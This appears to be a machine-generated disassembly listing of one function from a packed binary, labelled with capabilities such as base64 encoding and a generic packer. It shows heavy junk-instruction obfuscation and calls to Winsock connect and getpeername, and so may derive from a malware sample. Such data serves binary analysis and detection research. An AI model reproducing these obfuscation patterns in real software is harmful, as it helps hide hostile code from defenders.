Function at 0xadd195
Capabilities:
Encode data using base64
Packed with generic packer

Disassembly:
mov ecx, eax
cmp bl, 0xf1
test ecx, ecx
jmp 0x84b22c
dec ecx
jne 0xb8f6af
call fcn.00556793
lea esp, [esp + 4]
test sp, 0x4c91
movzx eax, ax
and ah, 0x93
pop eax
mov dword [ebp - 0x18], eax
xor ah, 0xa3
push reloc.WS2_32.dll_connect
cmc
bt ax, di
push 0
mov eax, dword [ebp - 0x14]
test ebx, 0x2b1b6ce7
stc
test eax, eax
jne 0x80a6c6
mov eax, 0x62c99e
not ebx
cmove ebx, ebx
movzx ebx, cx
push eax
push 1
mov ebx, 0x556e50
jmp 0xaf4c33
call fcn.00556793
add esp, 4
mov eax, dword [ebp - 0x28]
cmc
rcr bl, 0x55
shrd ebx, edi, 0xbd
push eax
cmp edx, 0x155e5567
rol ebx, cl
inc bl
mov ebx, dword [ebp - 0x10]
test esi, esp
test ebx, ebx
jmp 0x945587
call fcn.00556799
lea esp, [esp + 0x10]
stc
mov dword [ebp - 0x20], eax
stc
test esi, edx
cmp dword [ebp - 0x20], 0
jne 0xaf6e83
mov eax, 0x62d2e1
jmp 0xbf570b
je 0x848523
push ebx
call fcn.00556793
lea esp, [esp + 4]
push reloc.WS2_32.dll_getpeername
btc ax, sp
bswap ax
push 0
stc
sar ax, 0x9f
bsf eax, eax
mov eax, dword [ebp - 0x20]
test bp, ax
cmc
test eax, eax
jmp 0x878af0
je 0xbcc420
push ecx
cmovs ax, bx
mov eax, dword [ebx]
test eax, eax
jmp 0x8577c6
call fcn.00556799
lea esp, [esp + 0x28]
rcr bl, cl
mov dword [ebp - 0x1c], eax
neg bl
btc ebx, esp
mov eax, dword [ebp - 0x1c]
mov bx, bx
ror ebx, cl
push eax
mov ebx, dword [ebp - 0x18]
cmovge cx, sp
test bp, 0x3dc9
adc ecx, ecx
push ebx
mov ecx, dword [ebx]
add ebx, 4
cmp dx, 0x7485
test eax, edx
test ecx, ecx
je 0xb8f6a9
mov eax, dword [ebx]
add ebx, 4
dec ecx
jmp 0xc28d62
je 0x8ba983
push ebx
jmp 0xb6d9d4
push 1
not bh
mov bh, 0xb7
mov bx, si
mov ebx, 0x5583b0
jmp 0xafc613
jne 0xb541ed
mov eax, 0x62c9f0
jmp 0xb541ed
je 0x9b6590
push ebx
jmp 0x9b6584
mov dword [ebp - 0x10], 0
jmp 0x951b58
mov esp, ebp
movzx ebp, bx
mov ebp, edi
pop ebp
jmp 0x929491
mov eax, 0
test eax, eax
jmp 0xb35968
call fcn.00556793
lea esp, [esp + 4]
adc cx, 0x78ea
ror ecx, cl
pop ebx
shrd ecx, edi, 0x81
bt ecx, 0x48
stc
add ebx, 4
pop ecx
jmp 0xb792c1
jmp 0xb18839
jmp 0xa2ed96
push 1
mov eax, 0x51910f5
cmova eax, ebx
lea eax, [ebp - 0x1c]
jmp 0xb01591
ret 4
push 1
mov ebx, 0x69d35c4b
mov ebx, 0x558f20
jmp 0xb1e8ed
call fcn.0040227b
push ebx
push ecx
cbw
movsx ax, al
mov eax, dword [ebp + 8]
dec eax
jmp 0x9a8cf7
stosd dword es:[edi], eax
mov ax, bp
lahf
lodsd eax, dword [esi]
stosd dword es:[edi], eax
jmp 0xb468e5
push eax
movzx ebx, si
push 1
bswap ebx
mov ebx, 0x57a46d6
mov ebx, 0x556e50
jmp 0x847fb3
je 0xb50e61
push ebx
jmp 0xb50e56
mov dword [ebp - 0x14], 0
push 8
jmp 0xb17616
pop ebx
cmp eax, ecx
jl 0xa0f4cc
push 0x97c
jmp 0xa34962
dec ecx
jmp 0xa0a98b
test ebx, ebx
jmp 0xbfc96a
mov eax, 5
sbb edi, 0x1da6150
mov eax, 6
cwde
sal bh, 0xa5
popal
rcl ax, cl
sete ah
bswap eax
push edx
sbb eax, 0x700d0f40
ror ax, 0x2e
and dx, 0x6a72
mov edx, 1
bts dx, ax
bsf edx, eax
dec ax
mov edx, 2
sub dx, si
shld ax, dx, 0xff
cwde
mov edx, 4
sar dl, 0xd4
cmp esi, 0x30b6b83
mov edx, 2
lahf
bts ax, si
mov edx, 5
neg dh
mov edx, 4
movzx edx, si
mov edx, 2
btc ax, cx
mov edx, 5
not dh
shrd ax, si, 0xde
mov edx, 5
pop edx
mov al, 0x4d
xor eax, 0x150a652d
mov dword [ebp - 4], 0x2faf080
shl ah, 0x14
mov dword [ebp - 8], 0x989680
cmp sp, cx
push reloc.WS2_32.dll_connect
movzx eax, si
cmp dx, 0x2eaa
shl ah, cl
push 0
movsx eax, bp
mov eax, dword [0x7b375c]
test ax, di
cmp ax, dx
test eax, eax
jne 0x9396df
mov eax, 0x62c99e
jmp 0x9396df
jns 0xa2a8bd
push 0x97c
jmp 0xb62b58
push eax
jmp 0xbff002
call fcn.00556793
add esp, 4
not ebx
cbw
pop eax
bswap ebx
mov dword [ebp - 0x14], eax
bswap ebx
mov ebx, dword [ebp - 0x18]
call fcn.004022c2
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x14
jmp 0xc250c9
push eax
call fcn.0041640c
mov dword [ebp - 0x1c], eax
btr bx, 0xe8
xor bl, 0xb1
bsf ebx, ebp
mov eax, dword [ebp - 0x1c]
push eax
adc bx, di
mov ebx, dword [ebp - 0x14]
test di, bx
clc
test ebx, ebx
jmp 0xa962ad
mov dword [ebp - 0x18], eax
bswap si
mov edi, eax
mov eax, ebp
mov esi, 0x62c9f0
cwde
not ax
lodsd eax, dword [esi]
jmp 0x933ee9
mov eax, 0x62d2e1
xor ebx, ebp
test bp, bx
nop
xchg bh, bh
bt ebx, 0x3d
nop
setbe bl
bt bx, sp
nop
ror ebx, cl
nop
xor bl, bl
mov ebx, eax
or ebx, ecx
nop
btc bx, dx
nop
btc bx, 0x2e
nop
cmc
sub ebx, 0x67a94e49
bts bx, ax
nop
cmovge bx, di
nop
nop
nop
shl bx, 0x21
clc
nop
bts bx, di
nop
btc bx, bx
shl ebx, 0xb0
shr bh, cl
nop
dec ebx
or bx, sp
nop
mov bx, ax
rol bx, 0x3a
jmp 0xb1878b
je 0x7ff1af
imul eax, dword [ebx]
jmp 0x915774
call fcn.0055679f
add esp, 0xc
test bx, 0xc39
shl eax, 2
test di, 0x1c89
add ebx, eax
rol ah, 0x2c
adc eax, ecx
btc ax, dx
mov dword [ebp - 0x1c], ebx
push reloc.WS2_32.dll_connect
shr ebx, 0xad
neg eax
movzx eax, bp
push 0
btr eax, esp
mov ebx, dword [ebp - 0x1c]
cmp di, bx
sets al
bts ax, cx
mov eax, dword [ebx]
cmc
cmp eax, esi
test eax, eax
jmp 0xb21801
call fcn.0055679f
add esp, 0xc
bts cx, ax
setb cl
pop ecx
rcl bx, 0x18
jmp 0x957bc7
call fcn.00556793
lea esp, [esp + 4]
movsx bx, dh
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0xa2ed67
push ebx
call fcn.00556793
lea esp, [esp + 4]
mov ebx, dword [ebp - 0x18]
test dx, ax
rcr ecx, cl
cmovae cx, dx
push ebx
btr ecx, 8
mov ecx, dword [ebx]
test cx, 0x5070
add ebx, 4
cmp cx, si
stc
test ecx, ecx
je 0x84b22c
mov eax, dword [ebx]
test edx, 0x288f40ea
add ebx, 4
jmp 0x9761a0
call fcn.00556793
add esp, 4
mov ax, sp
btr ax, 0xb4
btc ax, dx
pop eax
stc
cmc
clc
mov dword [ebp - 0xc], eax
sal eax, 0x57
sbb ah, ch
adc ah, cl
push reloc.WS2_32.dll_getpeername
btr eax, 0xc7
push 0
rol ax, 0xe8
cmp bx, 0x7fb
mov eax, dword [0x7b3760]
cmp ebp, ecx
test ebx, esi
cmp edi, 0x444565a6
test eax, eax
jne 0xa2fac8
mov eax, 0x62c9f0
cmovl ebx, esp
xchg bx, bx
push eax
bswap bx
jmp 0xb275bd
push 0x4085709
jmp 0xac9f0d
je 0xa2ed52
push ebx
jmp 0xa2ed45
jne 0xa4ccf4
mov eax, 0x62c99e
push eax
mov bh, 0xdb
cmovp bx, dx
push 3
cmovb ebx, ecx
mov ebx, 0x558170
jmp 0x84e897
mov dword [ebp - 0xc], 0
jmp 0x8997f1
call fcn.00556799
add esp, 0x10
jmp 0xb6fe16
je 0xaec930
push eax
not ebx
seta bl
movzx bx, bl
mov ebx, eax
jmp 0xaec908
jne 0xa944e6
call fcn.00405bc2
push reloc.WS2_32.dll_connect
cbw
clc
shr al, cl
push 0
and eax, 0x3536407a
sub ax, di
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0xa9450a
mov eax, 0x62c99e
push eax
movzx ebx, si
push 1
mov bl, 0x92
mov ebx, 0x558300
jmp 0xa63e4f
je 0xb10e38
push ebx
jmp 0xb10e26
call fcn.00556793
add esp, 4
sub bx, di
sal bl, 0x6d
mov ebx, dword [ebp - 0x10]
stc
test ebx, ebx
jmp 0xa45d79
call fcn.00556793
add esp, 4
lea eax, [ebp - 0x24]
push eax
jmp 0xbd842f
je 0xac435c
push ebx
jmp 0xac4354
push 1
jmp 0xa0f4bf
push ebp
xor bp, cx
xadd bp, bp
mov ebp, esp
clc
test bp, bp
cmp cx, cx
sub esp, 0x30
jmp 0xb1d3b1
call fcn.004011c4
inc eax
push eax
call fcn.0055678d
pop ecx
setp bh
not bl
pop esi
mov ebx, 0x6ff41518
mov edi, eax
mov bl, 8
rep movsb byte es:[edi], byte [esi]
mov bl, 0x69
bt bx, 2
sbb bx, bx
push eax
btc ebx, ebp
mov ebx, dword [ebp - 0xc]
cmc
stc
test ebx, ebx
jmp 0xb208ff
je 0xa98053
push ebx
jmp 0xa98045
jg 0x8ac161
mov eax, 1
jmp 0xbc7056
call fcn.00556799
add esp, 0x10
xchg bx, bx
push 0x80000301
mov bx, si
push 0
mov ebx, ebp
mov bl, 9
push eax
mov ebx, 0x36559d
xchg bh, bh
jmp 0x85b31a
mov eax, dword [0x7b375c]
test eax, eax
jmp 0xa792c7
call fcn.00556799
lea esp, [esp + 0x10]
movsx bx, ch
cmp si, 0x790f
bsf bx, si
mov dword [ebp - 0x20], eax
btr bx, 0xe4
rcl al, 0xa2
test bl, 0xb1
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
jmp 0x87afaf
push eax
push 0x7b3760
jmp 0xb9a7aa
mov dword [ebp - 0x10], eax
movsx eax, cx
movsx ax, ch
mov eax, esi
lea eax, [ebp - 0x10]
jmp 0x9bb412
call fcn.00556793
lea esp, [esp + 4]
movsx ax, dh
sbb ah, 0xb
ror eax, cl
pop eax
mov dword [ebp - 0x14], eax
btc eax, 0x82
xor ax, sp
rcl ax, 0xca
push 0
cmp di, si
push 0
cwde
rol eax, 0x58
push 0
bt eax, ebx
bsr eax, eax
bt ax, 0x5e
push reloc.WS2_32.dll_connect
sub ax, 0xe0b
cmc
cbw
push 0
shr eax, 0xa6
push 0x62cd64
add al, 0x40
cmp ebp, ebx
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jmp 0xa4cce9
call fcn.0055678d
add esp, 4
mov si, di
not si
jmp 0x9bbc46
nop
btr ebx, eax
nop
bts ebx, ecx
nop
shrd ebx, ebx, 7
not ebx
nop
nop
cmp ch, 0xba
add bl, 5
nop
sal ebx, 0x1b
shr bl, 0x32
sal bh, cl
nop
cmc
rcl bl, 0x64
adc ebx, eax
nop
nop
nop
mov bl, ch
inc bl
nop
sal bl, 0xed
seta bl
nop
nop
rol bh, 0x58
adc ebx, 0x51260696
cmp edx, edx
nop
not bx
mov bh, bl
cmp al, cl
nop
add bx, di
rcl bh, cl
btr ebx, 0xc3
nop
clc
nop
nop
bt bx, 0x79
nop
xchg bh, bl
nop
cmp esi, edx
xor bx, 0x2a6c
nop
nop
nop
sal bx, cl
bt bx, dx
nop
btc bx, 0x75
cmc
nop
bts ebx, edi
rcr bx, cl
nop
nop
sar bx, cl
mov bh, 0x55
nop
xadd bx, bx
sal ebx, 0x18
cmp si, bx
nop
shrd ebx, esi, 0x40
adc bl, 0xf3
nop
mov bl, 0x3f
adc bh, dh
clc
nop
adc bx, 0x23d9
cmp cl, 0xaf
bt bx, sp
push eax
bts ebx, esp
shld bx, si, 0x42
sub ebx, 0x51964c64
mov ebx, dword [ebp - 0xc]
cmp ebx, esi
clc
test di, 0x1b88
test ebx, ebx
jmp 0xaf0b7b
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
jmp 0xa4d7eb
call fcn.00556799
lea esp, [esp + 0x10]
mov dword [ebp - 0x24], eax
cmovp bx, cx
add ebx, 0x75c00862
mov ebx, dword [ebp - 0x20]
jmp 0xb2b86a
je 0xa2fa84
push ebx
jmp reloc.USER32.dll_CreateIconFromResource
jne 0xb2180c
mov eax, 0x62c99e
push eax
xchg bl, bh
not bl
push 1
setle bl
mov ebx, 0x558f20
call fcn.00556799
add esp, 0x10
jmp 0xb5369d
push 1
mov ebx, 0x556e70
jmp 0xb2ae45
call fcn.00556799
add esp, 0x10
cmp sp, ax
clc
mov dword [ebp - 0x20], eax
cmc
cmp dword [ebp - 0x20], 0
jmp 0xa944db
test ebx, ebx
jmp 0xac7104
je 0x9c380c
mov ebx, dword [ebp - 0x18]
jmp 0x9311a2
pushal
btc ecx, eax
mov eax, 1
clc
mov eax, 2
or edi, ebp
clc
mov eax, 4
sar si, 0x65
mov eax, 2
bt eax, edx
mov eax, 5
cwd
mov eax, 4
btr ebp, esp
mov eax, 2
jmp 0x997c68
call fcn.00556793
add esp, 4
mov ah, 0x94
pop eax
jmp 0xb02c2f
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
jmp 0x8be189
push eax
setl bh
cmovs bx, bx
jmp 0x92c654
push 0x4085709
push 4
jmp 0xa2a8ae
push eax
jmp 0x8ba969
mov dword [ebp - 0x1c], eax
push 1
cmovnp ax, dx
push 1
movzx eax, sp
jmp 0x919ecd
dec ecx
jmp 0xbcc41a
mov ecx, eax
test sp, sp
cmp ax, bx
test ecx, ecx
je 0x80a680
push ecx
bswap eax
cmovs eax, esi
mov eax, dword [ebx]
test eax, eax
jmp 0xbfebeb
call fcn.008489f4
mov dword [ebp - 0x20], eax
or bx, di
ror bx, cl
shl bx, cl
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
jmp 0x848513
jmp 0x8ac166
jne 0x84b232
call fcn.00556793
add esp, 4
xchg al, al
cmovs eax, ebp
pop eax
jmp 0x8a88b3
call fcn.0040ed29
mov dword [ebp - 0x28], eax
rcl bh, cl
add bx, si
mov ebx, dword [ebp - 0x24]
jmp 0x98c4e2
jmp 0xb18839
je 0x80f688
push ebx
jmp 0x80f680
je 0xbff016
push ebx
jmp 0x9aa9c0
call fcn.00556793
add esp, 4
test ax, bp
rol ecx, 0x25
setp bh
pop ebx
shr ecx, cl
add ebx, 4
mov cl, 3
movzx ecx, di
mov cl, bl
pop ecx
jmp 0x80a679
jne 0x8ac161
cmp dword [ebp + 8], 0
jle 0x8ac161
cmp dword [ebp + 8], 0x14
jmp 0xaf2f83
je 0xb8f69f
imul eax, dword [ebx]
jmp 0x84e8d8